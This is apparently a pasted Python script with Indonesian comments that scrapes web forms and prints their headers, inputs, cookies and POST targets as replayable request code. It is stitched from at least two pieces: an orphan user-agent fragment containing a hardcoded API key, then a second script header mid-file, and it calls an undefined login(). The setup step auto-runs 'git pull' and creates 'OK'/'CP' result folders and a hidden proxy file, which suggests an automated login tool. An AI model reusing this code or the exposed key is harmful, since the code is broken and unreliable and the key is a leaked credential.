  1075.     # Url & Headers website #
  1076.    
  1077.    
  1078.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1079.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1080.    
  1081.     # Main menu #
  1082.    
  1083.   #  os.system('clear')
  1084.     try:
  1085.         response = requests.get(url,headers=header)
  1086.         if response.status_code == 200:
  1087.             uascrap.append(response.json()['ua'])
  1088.         else:
  1089.             uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1090.     except requests.exceptions.ConnectionError:
  1091.         uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1092.        
  1093. ###----------[ AUTHOR ]---------- ###
  1094. Author = 'Dapunta Khurayra X'
  1095. Version = 0.1
  1096. Facebook = 'Facebook.com/Dapunta.Khurayra.X'
  1097. Instagram = 'Instagram.com/ratya.anonym.id'
  1098.  
  1099. # --> Modules
  1100. import requests,bs4,sys,os,datetime,re
  1101. from bs4 import BeautifulSoup as bs
  1102. from datetime import datetime
  1103. from itertools import count
  1104. from requests import get
  1105. from bs4 import BeautifulSoup
  1106. from rich import print as cetak
  1107. from rich import print as prints
  1108. from rich.panel import Panel as nel
  1109. done = False
  1110. results = []
  1111. # -->  Clear Terminal
  1112. def clear():
  1113.     if "linux" in sys.platform.lower():os.system("clear")
  1114.     elif "win" in sys.platform.lower():os.system("cls")
  1115.  
  1116. # --> Waktu
  1117. def start():
  1118.     global Mulai_Jalan
  1119.     Mulai_Jalan = datetime.now()
  1120. def akhir():
  1121.     global Akhir_Jalan, Total_Waktu
  1122.     Akhir_Jalan = datetime.now()
  1123.     Total_Waktu = Akhir_Jalan - Mulai_Jalan
  1124.     try:
  1125.         Menit = str(Total_Waktu).split(':')[1]
  1126.         Detik = str(Total_Waktu).split(':')[2].replace('.',',').split(',')[0] + ',' + str(Total_Waktu).split(':')[2].replace('.',',').split(',')[1][:1]
  1127.         print('\nProgram Selesai Dalam Waktu %s Menit %s Detik\n'%(Menit,Detik))
  1128.     except Exception as e:
  1129.         print('\n\nProgram Selesai Dalam Waktu 0 Detik\n')
  1130.  
  1131. # --> Main Program
  1132. class get_data_web:
  1133.    
  1134.     def __init__(self):
  1135.         self.xyz = requests.Session()
  1136.         url = input('Masukkan URL : ')
  1137.         print('\n[1] Source Payload')
  1138.         print('[2] Parsed Payload')
  1139.         print('[3] Source Code Post Requests')
  1140.         self.tanya = input('Pilih : ')
  1141.         self.domain = url.split('/')[2]
  1142.         self.get_form(url)
  1143.  
  1144.     def get_form(self,url):
  1145.         req = self.xyz.get(url)
  1146.         raq = bs(req.content,'html.parser')
  1147.         for x in raq.find_all('form'):
  1148.             if self.tanya in ['1','01','a']: self.printing1(req,x)
  1149.             elif self.tanya in ['2','02','b']: self.printing2(req,x)
  1150.             elif self.tanya in ['3','03','c']: self.printing3(url,req,x)
  1151.             else: exit('\nIsi  Yg Benar!')
  1152.  
  1153.     def get_head1(self,req):
  1154.         data = {}
  1155.         head = req.headers
  1156.         usls = ['cookie','set-cookie','report-to','expires','x-fb-debug','date','last-modified','etag']
  1157.         for x,y in zip(head.keys(),head.values()):
  1158.             try:
  1159.                 if x.lower() in usls: continue
  1160.                 else: data.update({x:y})
  1161.             except Exception as e:continue
  1162.         return(data)
  1163.  
  1164.     def get_data1(self,form):
  1165.         data = {}
  1166.         for y in form.find_all('input'):
  1167.             try:data.update({y['name']:y['value']})
  1168.             except Exception as e:continue
  1169.         return(data)
  1170.  
  1171.     def get_data2(self,form):
  1172.         data = []
  1173.         for y in form.find_all('input'):
  1174.             try:data.append(y)
  1175.             except Exception as e:continue
  1176.         return(data)
  1177.  
  1178.     def get_post1(self,form):
  1179.         z = form['action']
  1180.         if 'https://'+self.domain in z: return(z)
  1181.         elif 'http://'+self.domain in z: return(z)
  1182.         else: return('https://%s%s'%(self.domain,z))
  1183.  
  1184.     def printing1(self,req,x):
  1185.         head = self.get_head1(req)
  1186.         data = self.get_data1(x)
  1187.         post = self.get_post1(x)
  1188.         coki = self.xyz.cookies.get_dict()
  1189.         print('\n\n[SOURCE PAYLOAD]\n')
  1190.         print('[Host] %s'%(self.domain))
  1191.         print('[Head] %s'%(head))
  1192.         print('[Data] %s'%(data))
  1193.         print('[Coki] %s'%(coki))
  1194.         print('[Post] %s'%(post))
  1195.  
  1196.     def printing2(self,req,x):
  1197.         head = self.get_head1(req)
  1198.         data = self.get_data2(x)
  1199.         post = self.get_post1(x)
  1200.         coki = self.xyz.cookies.get_dict()
  1201.         print('\n\n[PARSED PAYLOAD]\n')
  1202.         # --> Tampil Headers
  1203.         print('head = {')
  1204.         for x,y in zip(head.keys(),head.values()):
  1205.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1206.         print('    }')
  1207.         # --> Tampil Data
  1208.         print('data = {')
  1209.         for x in data:
  1210.             try:
  1211.                 if 'value' in str(x):
  1212.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1213.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1214.                     print("    %s%s: '%s',"%(x['name'],' '*(19-len(x['name'])),fp))
  1215.                 elif 'name' in str(x):
  1216.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1217.                 else: continue
  1218.             except Exception as e: continue
  1219.         print('    }')
  1220.         # --> Tampil Cookie
  1221.         print('cookie = {')
  1222.         for x,y in zip(coki.keys(),coki.values()):
  1223.             print('    %s%s: %s'%(x,' '*(5-len(x)),y))
  1224.         print('    }')
  1225.         # --> Post Requests
  1226.         print("next = '%s'"%(post))
  1227.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1228.     def printing3(self,url,req,x):
  1229.         head = self.get_head1(req)
  1230.         data = self.get_data2(x)
  1231.         post = self.get_post1(x)
  1232.         print('\n\n[SOURCE CODE POST REQUESTS]\n')
  1233.         # --> Tampil Get Requests
  1234.         print("url  = '%s'"%(url))
  1235.         print("requ = bs(requests.Session().get(url).content,'html.parser')")
  1236.         # --> Tampil Headers
  1237.         print('head = {')
  1238.         for x,y in zip(head.keys(),head.values()):
  1239.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1240.         print('    }')
  1241.         # --> Tampil Data
  1242.         print('data = {')
  1243.         for x in data:
  1244.             try:
  1245.                 if 'value' in str(x):
  1246.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1247.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1248.                     gp = dp.replace(fp,'(.*?)')
  1249.                     rs = ("re.search('%s',str(requ)).group(1)"%(gp))
  1250.                     print('    %s%s: %s,'%(x['name'],' '*(19-len(x['name'])),rs))
  1251.                 elif 'name' in str(x):
  1252.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1253.                 else: continue
  1254.             except Exception as e: continue
  1255.         print('    }')
  1256.         # --> Tampil Cookie
  1257.         print("cookie = requests.Session().cookies.get_dict()")
  1258.         # --> Post Requests
  1259.         print("next = '%s'"%(post))
  1260.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1261.  
  1262. if __name__=='__main__':
  1263.     try:os.system('git pull')
  1264.     except:pass
  1265.     try:os.mkdir('OK')
  1266.     except:pass
  1267.     try:os.mkdir('CP')
  1268.     except:pass
  1269.     try:os.system('touch .prox.txt')
  1270.     except:pass
  1271.     login()
Add Comment
Please, Sign In to add comment